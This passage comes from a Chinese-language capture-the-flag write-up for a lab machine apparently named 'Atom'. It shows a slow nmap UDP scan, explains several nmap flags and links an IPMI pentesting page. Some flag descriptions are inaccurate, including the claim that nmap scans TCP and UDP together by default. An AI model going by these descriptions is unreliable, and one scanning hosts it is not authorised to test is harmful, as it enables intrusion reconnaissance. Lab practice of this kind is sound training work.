让我联想到了前不久爆的那个新漏洞，但是好像不好利用，看群友也没有利用成功，先搁置。

漏洞发现

UDP扫描

看不到别的利用点，尝试UDP扫描一下，为了省时间仅扫描前一万端口：

┌──(kali💀kali)-[~/temp/Atom]
└─$ sudo nmap -sU $IP -p-

UDP Scan Timing: About 0.32% done
Stats: 0:05:54 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 0.56% done

发现扫描速度过慢了。。。。尝试换一下参数，筛选最常用的100个端口：

-sU: 这个选项告诉 nmap 仅扫描 UDP 端口。默认情况下，nmap 会同时扫描 TCP 和 UDP 端口，但如果你只对 UDP 端口感兴趣，可以使用这个选项。

-sV: 这个选项使 nmap 尝试确定目标机器上开放端口的服务版本信息。这通过向端口发送一系列探测包并解析响应来实现。

--version-intensity 0: 这个选项用于调整版本检测的强度。强度值从 0 到 9，其中 0 表示非常轻量级的检测（仅发送一些基本的探测包），而 9 表示最彻底的检测（可能会发送大量的探测包，但可能会花费更多时间并暴露更多的扫描活动）。

-n: 这个选项告诉 nmap 在进行扫描时不要进行 DNS 解析。这可以加快扫描速度，特别是在扫描大量 IP 地址时，因为 DNS 解析可能会成为瓶颈。

-F: 这个选项是 --fast 的简写，它使 nmap 更快地进行扫描。它会减少扫描的端口数量（只扫描最常见的 100 个端口），并可能减少扫描时间或发送的探测包数量。这对于快速获取目标系统的基本信息很有用。

-T4: 这个选项用于设置扫描的时间模板。nmap 提供了几种不同的时间模板（从 0 到 5），其中 0 是最慢的（最隐蔽的），而 5 是最快的（但可能更容易被检测到）。-T4 是一个中等速度的设置，它在扫描速度和隐蔽性之间做了一个折中。

速度快的雅痞，nice！，尝试看一下这个端口是个神魔：https://book.hacktricks.xyz/network-services-pentesting/623-udp-ipmi
